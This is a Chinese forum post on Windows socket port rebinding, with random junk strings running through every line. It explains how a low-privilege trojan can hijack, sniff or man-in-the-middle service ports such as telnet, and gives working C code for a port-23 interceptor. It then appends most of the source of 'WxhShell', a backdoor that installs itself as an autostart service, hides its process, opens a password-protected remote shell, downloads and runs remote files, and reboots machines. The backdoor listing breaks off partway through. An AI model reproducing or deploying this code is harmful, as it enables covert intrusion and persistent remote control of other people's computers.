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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D=TS IJ@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $`E?=L`$  
f\]?,  
  saddr.sin_family = AF_INET; O -1O@:}c  
IMH4GVr"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vSH,fS-n  
0\P5=hD)K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zj2 si  
 ?<EzILM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ew~Z/ A   
%8FfP5#  
  这意味着什么?意味着可以进行如下的攻击: wtY)(k a  
o utJ/~9;  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 olE(#}7V  
&q-&%~E@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w\bwa!3Y  
Hd|[>4Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -G~]e6:zD  
&zdS9e-fF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1;ttwF>G7  
ga 5Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }qn>#ETi  
Zv;nY7B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]F4QZV( M  
/iU<\+ H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *#T: _  
@7twe;07r  
  #include ~~W.]>f  
  #include Kjd3!%4mB  
  #include _QL|pLf-  
  #include    fEHFlgN3Ap  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K%v:giN$l`  
  int main() -V/y~/]J  
  { )D+BvJ Y"  
  WORD wVersionRequested; <=M5)#  
  DWORD ret; I%YwG3uR  
  WSADATA wsaData; *7xcwj eP  
  BOOL val; dy&G~F28  
  SOCKADDR_IN saddr; h#YO;m2wd  
  SOCKADDR_IN scaddr; t\Vng0  
  int err; ;Nn(  
  SOCKET s; AG,><UP  
  SOCKET sc; `%Ih'(ne  
  int caddsize; b}qfOgd5  
  HANDLE mt; apL$`{>US  
  DWORD tid;   r&LZH.$oh  
  wVersionRequested = MAKEWORD( 2, 2 ); VIF43/>(  
  err = WSAStartup( wVersionRequested, &wsaData ); IWv(G Qx  
  if ( err != 0 ) { cEL:5*cAU}  
  printf("error!WSAStartup failed!\n"); Ch"wp/[  
  return -1; IWo'{pk  
  } 0|AgmW_7 .  
  saddr.sin_family = AF_INET; &wQ;J)13  
   .z#eYn% d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 c+FTt(\8.  
!>9s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V(`]hH0;T  
  saddr.sin_port = htons(23); ~R|9|k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YoKE=ln7  
  { }c8nn  
  printf("error!socket failed!\n"); 0qN`-0Yk  
  return -1; 6_`Bo%  
  } %"{P?V<-V  
  val = TRUE; if&bp ,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Au2?f~#Fv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) V?EX`2S  
  { `KZV@t  
  printf("error!setsockopt failed!\n"); $OZ= L  
  return -1; wNmpUO ?  
  } $#rkvG_w  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h3`}{ w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5t%8y!s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uw3vYYFX  
gXI-{R7Me  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O>DS%6/G  
  { 3k'Bje?9~  
  ret=GetLastError(); y,:WLk~  
  printf("error!bind failed!\n");  bUcp8  
  return -1; 1{N+B#*<[X  
  } v? ."`,e  
  listen(s,2); e 6mZ;y5_  
  while(1) aL:|Dr3SX  
  { xN*k&!1&  
  caddsize = sizeof(scaddr); Phi5;U!  
  //接受连接请求 M-t 9M~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d92Z;FWb  
  if(sc!=INVALID_SOCKET) BWxfY^,'&6  
  { g**!'T4&o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WVR/0l&bU  
  if(mt==NULL) Q\4tzb]  
  { }.o.*N  
  printf("Thread Creat Failed!\n"); OB.rETg  
  break; E_~e/y"-  
  } ymm]+v5S.]  
  } ;U3:1hn  
  CloseHandle(mt); E n7~wKF  
  } ;~0q23{+;U  
  closesocket(s); *IOrv)  
  WSACleanup(); +.~K=.O)  
  return 0; I/w;4!+)  
  }   r[(;J0=  
  DWORD WINAPI ClientThread(LPVOID lpParam) ou-#+Sdd  
  { poAJl;T  
  SOCKET ss = (SOCKET)lpParam; [y8(v ~H  
  SOCKET sc; \lG)J0  
  unsigned char buf[4096]; "_&ZRcd*  
  SOCKADDR_IN saddr; =Xvm#/  
  long num; "m{i`<,  
  DWORD val; =Fc]mcJ69  
  DWORD ret; f+9WGNpw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QcrhgR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /)kJ iV  
  saddr.sin_family = AF_INET; f_)#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EPJ>@A>;D  
  saddr.sin_port = htons(23); Ub\^3f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (-$5YKm  
  { 8XYxyOl  
  printf("error!socket failed!\n"); JOG- i  
  return -1; 2->Lz  
  } D]_6OlIE#'  
  val = 100; ^.:&ZsqV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SZXSVz0j  
  { 8KJ`+"<=@  
  ret = GetLastError(); F m:Ys](  
  return -1; d;<'28A  
  } 6~sU[thGW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FS 5iUH+5  
  { ;`/a. /bc  
  ret = GetLastError(); 2OpA1$n6  
  return -1; C&Qt*V#,  
  } p>eYi \'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8H-yT1  
  { g4k3~,=D3  
  printf("error!socket connect failed!\n"); 7k,BE2]"  
  closesocket(sc); %\HE1d5;  
  closesocket(ss); ^[.}DNR95(  
  return -1; eCR^$z=c  
  } =8#.=J[/  
  while(1) |pS]zD  
  { %\-E R !b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "f 89   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ML'y`S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s<"|'~<n  
  num = recv(ss,buf,4096,0); 'm`}XGUBS  
  if(num>0) "p3<-06  
  send(sc,buf,num,0); } r(b:}DN  
  else if(num==0) ~tWh6-:|{J  
  break; OU.}H $x"  
  num = recv(sc,buf,4096,0); sgP{A}4 W  
  if(num>0) .]h/M,xg  
  send(ss,buf,num,0); ;G}  
  else if(num==0) qD*y60~]zz  
  break; fQC{Lc S  
  } T5|kO:CbHq  
  closesocket(ss); q++\< \2  
  closesocket(sc); &-qQF`7  
  return 0 ; q=->) &D%  
  } [u!n=ev  
{|>Wwa2e  
E"VF BKB  
========================================================== !@ ]IJ"\  
mrRid}2  
下边附上一个代码,,WXhSHELL  '4{=x]K  
17?YN<  
========================================================== l 3p :}A  
^wWbW&<Tg  
#include "stdafx.h" OWwqCPz.  
Ur]$@N  
#include <stdio.h> (eU4{X7  
#include <string.h> P~{8L.w!>W  
#include <windows.h> ";=!PL  
#include <winsock2.h> aR6F%7gvz  
#include <winsvc.h> YX-~?Pl  
#include <urlmon.h> -O\i^?lD;  
"g5{NjimY  
#pragma comment (lib, "Ws2_32.lib") l90"1I A  
#pragma comment (lib, "urlmon.lib") B2j1G JEO  
I4jRz*Ufe?  
#define MAX_USER   100 // 最大客户端连接数 2%fIe   
#define BUF_SOCK   200 // sock buffer R6(:l; W  
#define KEY_BUFF   255 // 输入 buffer (&eF E;c  
]87BP%G  
#define REBOOT     0   // 重启 e1-tpD:J  
#define SHUTDOWN   1   // 关机 {>1FZsR49t  
8lpAe0p(Z  
#define DEF_PORT   5000 // 监听端口 ISNL='%  
%\<b{x# G  
#define REG_LEN     16   // 注册表键长度 HQm_ K0$  
#define SVC_LEN     80   // NT服务名长度 #{|cSaX<  
*p $0(bz  
// 从dll定义API [ -$ Do  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c$ZV vu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B%;MGb o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <v0`r2^S{-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K#Ck,Y"  
ia'z9  
// wxhshell配置信息 &t9 V  
struct WSCFG { d:';s~  
  int ws_port;         // 监听端口 CfU|]<  
  char ws_passstr[REG_LEN]; // 口令 '3672wF/  
  int ws_autoins;       // 安装标记, 1=yes 0=no swF{}S"  
  char ws_regname[REG_LEN]; // 注册表键名 DSz[,AaR]  
  char ws_svcname[REG_LEN]; // 服务名 DD$> 3`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p?Azn>qBa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y+ze`pL?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :_R:>n9 p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (*$bTI/~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .}!.4J%q2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [HQ)4xG  
xrkl)7;  
}; YGyv)\  
06pvI}   
// default Wxhshell configuration T-%=tY+-  
struct WSCFG wscfg={DEF_PORT, sFFQ]ST2p  
    "xuhuanlingzhe", lDYgt UKG  
    1, >u$8Z  
    "Wxhshell", ZUQ _u  
    "Wxhshell", f,HUr% @  
            "WxhShell Service", v(2N@s <%  
    "Wrsky Windows CmdShell Service", ^|Q]WHNFB  
    "Please Input Your Password: ", ]I*c:(qwu  
  1, .R9Z$Kbq  
  "http://www.wrsky.com/wxhshell.exe", 4E'9;tA3l  
  "Wxhshell.exe" D:)Wr, 26  
    }; pl[J!d.c  
=W(*0"RM  
// 消息定义模块 {7o#Ve  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8% @| /  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?GhyVXS y.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2|1fb-AR  
char *msg_ws_ext="\n\rExit."; NE995;  
char *msg_ws_end="\n\rQuit."; xo:kT)  
char *msg_ws_boot="\n\rReboot..."; I7f ^2  
char *msg_ws_poff="\n\rShutdown..."; ON?Y Df  
char *msg_ws_down="\n\rSave to "; hbjAxioA  
{4"V)9o-1>  
char *msg_ws_err="\n\rErr!"; Fsx?(?tCMo  
char *msg_ws_ok="\n\rOK!"; kc,"w\ ai  
)P$(]{  
char ExeFile[MAX_PATH]; / )0hsQs  
int nUser = 0; /--p#Gh'  
HANDLE handles[MAX_USER]; s -i|P  
int OsIsNt; g7oY1;  
?J[3_!"t  
SERVICE_STATUS       serviceStatus; @Mk`Tl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E?m~DYnU  
\P\Z<z7jy  
// 函数声明 !iXRt")  
int Install(void); k.T=&0J_1  
int Uninstall(void); Bous d  
int DownloadFile(char *sURL, SOCKET wsh); jW/WG tz  
int Boot(int flag); Uqr>8|t?  
void HideProc(void); gGqrFh\  
int GetOsVer(void); !Tzo &G  
int Wxhshell(SOCKET wsl); AXyXK??  
void TalkWithClient(void *cs); WjD885Xo  
int CmdShell(SOCKET sock); ZL|aB886  
int StartFromService(void); YQ0#j'}/  
int StartWxhshell(LPSTR lpCmdLine); {C |R@S  
s$Vl">9#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M/S~"iD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *l5?_tF  
--h\tj\U  
// 数据结构和表定义 3,PR6a,b'  
SERVICE_TABLE_ENTRY DispatchTable[] = z/t|'8f  
{ 0`/G(ukO  
{wscfg.ws_svcname, NTServiceMain}, =<]`'15"V  
{NULL, NULL} 17hoX4T  
}; !GOaBs  
*%xbn8  
// 自我安装 b6k`R4S3  
int Install(void) P&`%VW3E  
{ !73y(Y%TE  
  char svExeFile[MAX_PATH]; *-0s ` rC  
  HKEY key; B{Q}^Mcxy  
  strcpy(svExeFile,ExeFile); la[ pA  
]4aPn  
// 如果是win9x系统,修改注册表设为自启动 % /:1eE`!S  
if(!OsIsNt) { 7F<{ Qn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IQ&PPC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WNR]GI  
  RegCloseKey(key); vF\>;pcT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O_QDjxj^rZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,gV#x7IW  
  RegCloseKey(key); Jr!^9i2j'  
  return 0; $dM_uSt  
    } l7`{O/hN  
  } [?K>s>it  
} I`_2Q:r  
else { APu$t$dmm  
TV{GHB!p"  
// 如果是NT以上系统,安装为系统服务 ~5 6&!4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BX_yC=S  
if (schSCManager!=0) ]zx%"SUM  
{ n)yDep]$G  
  SC_HANDLE schService = CreateService +4yre^gC  
  ( dD,}i$  
  schSCManager, 21TR_0g&<  
  wscfg.ws_svcname, JrcbJt  
  wscfg.ws_svcdisp, !wp1Df[  
  SERVICE_ALL_ACCESS,  IuY9Q8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nDn J}`k  
  SERVICE_AUTO_START, h$5[04.Q  
  SERVICE_ERROR_NORMAL, XG|N$~N+2  
  svExeFile, Kx9u|fp5  
  NULL, {aAd (~YZ  
  NULL, @}y.  
  NULL, ;JxL>K(  
  NULL, =p+n(C/  
  NULL 97liSd  
  ); 9#9 UzKX#  
  if (schService!=0) ,HP }}K+S  
  { 1L,L/sOwB&  
  CloseServiceHandle(schService); $w(RJ/  
  CloseServiceHandle(schSCManager); G&S2U=KdV%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t:2DB)  
  strcat(svExeFile,wscfg.ws_svcname); .B]l@E-u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { evZcoH3~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M5{#!d}^D  
  RegCloseKey(key); <WP@q&^k\  
  return 0; s4bV0k  
    } ??F* Z" x  
  } MtkU]XKGT  
  CloseServiceHandle(schSCManager); [wQ48\^  
} |gE1P/%k  
} ^/BGOBK  
 GK/Po51  
return 1; ? xR7Ii3  
} JP4DV=}L  
Db"mq'vT  
// 自我卸载 Y,s EM%  
int Uninstall(void) { b$"SIg1E  
{ %j tUbBN  
  HKEY key; :)#;0o5  
nJe}U#  
if(!OsIsNt) { 6qT@M0)i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _v&fIo  
  RegDeleteValue(key,wscfg.ws_regname); `<9>X9.+  
  RegCloseKey(key); ? Ek)" l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *I 1H  
  RegDeleteValue(key,wscfg.ws_regname); 7IxeSxXH  
  RegCloseKey(key); wqo:gW_  
  return 0; (fpz",[  
  } 8n3]AOc'~-  
}  uo`R  
} cK'g2S  
else { *X .1b!  
x^K4&'</  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |<Ls;:5.  
if (schSCManager!=0) * BM|luYL  
{ ko@ej^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J];Sj  
  if (schService!=0) /1 EAj  
  { tz):$1X_  
  if(DeleteService(schService)!=0) { YF{MXK}  
  CloseServiceHandle(schService); egu{}5  
  CloseServiceHandle(schSCManager); D_lRYLA+  
  return 0; X9| Z ?jJ  
  } XmQ ;Roe  
  CloseServiceHandle(schService); .{ v$;g  
  } +JErc)%  
  CloseServiceHandle(schSCManager); 58Ibje  
} Y|R=^ =d\  
} jq H)o2"/  
[~N;d9H+*1  
return 1; GDLi ?3q  
} VgbNZ{qk@  
q=3>ij {v  
// 从指定url下载文件 `ArUoYb B  
int DownloadFile(char *sURL, SOCKET wsh) [+o{0o>  
{ :-{"9cgF R  
  HRESULT hr; [r`KoHwdm  
char seps[]= "/"; Ke4oLF2  
char *token; \kQ)fk]^  
char *file; jz f~n~  
char myURL[MAX_PATH]; $$ND]qM$M  
char myFILE[MAX_PATH]; l`\L@~ln  
Ubu&$4a  
strcpy(myURL,sURL); 2mEqfy  
  token=strtok(myURL,seps); NAo.79   
  while(token!=NULL) Q+1ot,R  
  { k^oSG1F  
    file=token; eP2Q2C8g  
  token=strtok(NULL,seps); F/2cQ .u2  
  } (GRW(Zd4  
1 fcV&qHR  
GetCurrentDirectory(MAX_PATH,myFILE); 1t e^dh:Vp  
strcat(myFILE, "\\"); "c[>>t  
strcat(myFILE, file); Vu(NP\Wm  
  send(wsh,myFILE,strlen(myFILE),0); :P q&l.  
send(wsh,"...",3,0); 21OfTV-+3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lH3.q4D 5  
  if(hr==S_OK) mRx `G(u:v  
return 0; Q%O9DCi  
else .45wwouZkc  
return 1; gp9O%g3'  
;,-)Z|W  
} l]|&j`'O  
0c>>:w20D  
// 系统电源模块 '\{ OQ H  
int Boot(int flag) Wqv7  
{ HZ<#H3_ix  
  HANDLE hToken; sA6HkB.  
  TOKEN_PRIVILEGES tkp; |6NvByc,  
]yKwH 9sl  
  if(OsIsNt) { L\ysy2E0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u0R[TA3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0 iSNom}m  
    tkp.PrivilegeCount = 1; }|h-=T '  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Rb<| <D+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PE7V1U#$o,  
if(flag==REBOOT) { cMi9 Z]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =pe O %  
  return 0; p3fV w]N  
} ,dba:D= l  
else { NZ`6iK-V_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vasw@Uto)  
  return 0; [ 2@Lc3<  
} =SJ[)|  
  } fx 08>r   
  else { I-.? qcy~  
if(flag==REBOOT) { Q9y|1Wg1W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yq3"VFh3d  
  return 0; ~i^,Z&X:  
} J'cE@(US  
else { yMNOjs'c {  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p"\-iY]  
  return 0; \^F6)COy  
} a[^dK-  
} i_6wD  
p38s&\-kEN  
return 1; *=z.H  *  
} P)TeF1~T  
TuMZHB7h;  
// win9x进程隐藏模块 ,^xsdqpe  
void HideProc(void) ku^2K   
{ r~;.8qs  
,v| vgt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jP @t!=  
  if ( hKernel != NULL ) 7Ph+Vs+h  
  { b=Sl`&A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nDC5/xB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JvUHoc$sI  
    FreeLibrary(hKernel); uuh vd h=  
  } Qzk/oH s  
X>jwjRK $  
return; yC=vTzzp  
} A%M&{S'+|X  
"ZVBn!  
// 获取操作系统版本 NOmSLIgt7  
int GetOsVer(void) PzTTL=G +  
{ ]*;+ U6/?  
  OSVERSIONINFO winfo; o9HDxS$~^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $j}sxxTT  
  GetVersionEx(&winfo); .J\U|r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .Lu=16  
  return 1;  WU,72g=  
  else 8CSvg{B  
  return 0; /[#{#:lo2  
} e]X9"sd0=  
g9"_BG  
// 客户端句柄模块 TbU9 < mY  
int Wxhshell(SOCKET wsl) ow`c B  
{ U14dQ=~b/  
  SOCKET wsh; LveqG   
  struct sockaddr_in client; yb**|[By  
  DWORD myID; )J88gMk+  
IA!ixabG  
  while(nUser<MAX_USER) LP)mp cQ  
{ K6oX nz}  
  int nSize=sizeof(client); Z/RUrYeb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]R>k0X.V  
  if(wsh==INVALID_SOCKET) return 1; ?h3Ow`1G  
/tv;W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kWz%v  
if(handles[nUser]==0) >`\*{]  
  closesocket(wsh); D\l.?<C  
else jh0$:6 `C  
  nUser++; ]D-48o0  
  } A>g$[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X5/{Mx`8Oz  
i:8^:(i  
  return 0; (Mm{"J3uv  
} CGe'z  
Y-c~"#  
// 关闭 socket t(rU6miN  
void CloseIt(SOCKET wsh) d$,i?d,  
{ .}<B*e=y  
closesocket(wsh); 2M#CJ&  
nUser--; |O9=C`G_  
ExitThread(0); udZ: OU<  
} PC_4#6^5  
@ty|HXW  
// 客户端请求句柄 *pD;AU  
void TalkWithClient(void *cs) FVmg&[ .  
{ GDB>!ukg  
?^vZ{B)&0E  
  SOCKET wsh=(SOCKET)cs; e d*AU,^@v  
  char pwd[SVC_LEN]; %Nn'p"  
  char cmd[KEY_BUFF]; (*x "6)`  
char chr[1]; .KsvRx  
int i,j; ,h._iO)I^  
Zn0fgQd  
  while (nUser < MAX_USER) { MX0B$yc$  
pzr-}>xrZ  
if(wscfg.ws_passstr) { DS2$w9!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8vw]u_e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `@D4?8_  
  //ZeroMemory(pwd,KEY_BUFF); yMkd|1  
      i=0; m6cW  
  while(i<SVC_LEN) { sD3|Qj;  
K-u/q6ufK  
  // 设置超时 @ 1A_eF  
  fd_set FdRead; wcf_5T  
  struct timeval TimeOut; ] O>7x  
  FD_ZERO(&FdRead); >2 qP  
  FD_SET(wsh,&FdRead); ~Wm}M  
  TimeOut.tv_sec=8; <R>ZG"m{  
  TimeOut.tv_usec=0; #Vigu,zY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _<RR`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S50x0$%<W  
pNE\@U|4E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :@%-f:iDj  
  pwd=chr[0]; !_-sTZ  
  if(chr[0]==0xd || chr[0]==0xa) { Oqpl2Y"/  
  pwd=0; zB6u-4^wT  
  break; ~K-*q{6Q  
  } 1m<?Q&|m$  
  i++; hdr}!w V  
    }  ;[KriW  
DxKfWb5 R  
  // 如果是非法用户,关闭 socket ^Z>B/aJq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p=_XMh`;  
} A?IZ( Zx(`  
leES YSY:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CI!Eq&D,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z#F,y)YiO  
?)mhJ/IT  
while(1) { Xm8Z+}i  
q]N?@l]  
  ZeroMemory(cmd,KEY_BUFF); nRXSW&V"m  
JU'WiR bcb  
      // 自动支持客户端 telnet标准   ` y^zM/Ib  
  j=0; DIG0:)4R.  
  while(j<KEY_BUFF) { q}<.x8\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); llHc=&y#  
  cmd[j]=chr[0]; kRN|TDx(  
  if(chr[0]==0xa || chr[0]==0xd) { b8N[."~:  
  cmd[j]=0; 3tT|9Tb@  
  break; v}F4R $  
  } a{]g+tGH  
  j++; 6_R\l@a  
    } cxXbo a  
w0Fwd  
  // 下载文件 ,4H;P/xsb  
  if(strstr(cmd,"http://")) { 8%o~4u3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hva2j<h  
  if(DownloadFile(cmd,wsh)) kqVg2#<@M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /x  
  else R9tckRG#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N@Xg5huO  
  } !uWxRpT,7  
  else { mi7sBA9L8  
 d?:`n 9`  
    switch(cmd[0]) { 2c}B  
  [AXsnpa/C  
  // 帮助 T>#TDMU#Fm  
  case '?': { 2B HKS-J*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9v~1We;{$  
    break; f%2%T'Q  
  } DVObrL)znL  
  // 安装 7dSh3f!  
  case 'i': { 9c#lLKrzG  
    if(Install()) c}\ ' x5:o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jEUx q%BH  
    else AK6=Ydu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }%eDEM  
    break; 1'NhjL  
    } X(IyvfC  
  // 卸载 F(deu^s%{  
  case 'r': { ucw`;<d8  
    if(Uninstall()) 49o\^<4b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }A-{6Qe  
    else g{e/X~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9*' &5F=  
    break; >gr<^$  
    } M3ZOk<O<R  
  // 显示 wxhshell 所在路径 wY/bA}%  
  case 'p': { 19'5Re&  
    char svExeFile[MAX_PATH]; U<Vy>gIC  
    strcpy(svExeFile,"\n\r"); \UOm]z  
      strcat(svExeFile,ExeFile); *\D}eBd|  
        send(wsh,svExeFile,strlen(svExeFile),0); iecWa:('  
    break; JRq3>P  
    } SgiDh dE  
  // 重启 1t.R+1[c  
  case 'b': { w^3|(F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &I%IaNco  
    if(Boot(REBOOT)) ~Po<(A}`f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?z3]   
    else { t ^m~  
    closesocket(wsh); )AI?x@  
    ExitThread(0); JRXRi*@  
    } ul$,q05nb  
    break; mg`j[<wp  
    } T<P0T<  
  // 关机 4Ac}(N5D@  
  case 'd': { BX*69  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 33 : @*  
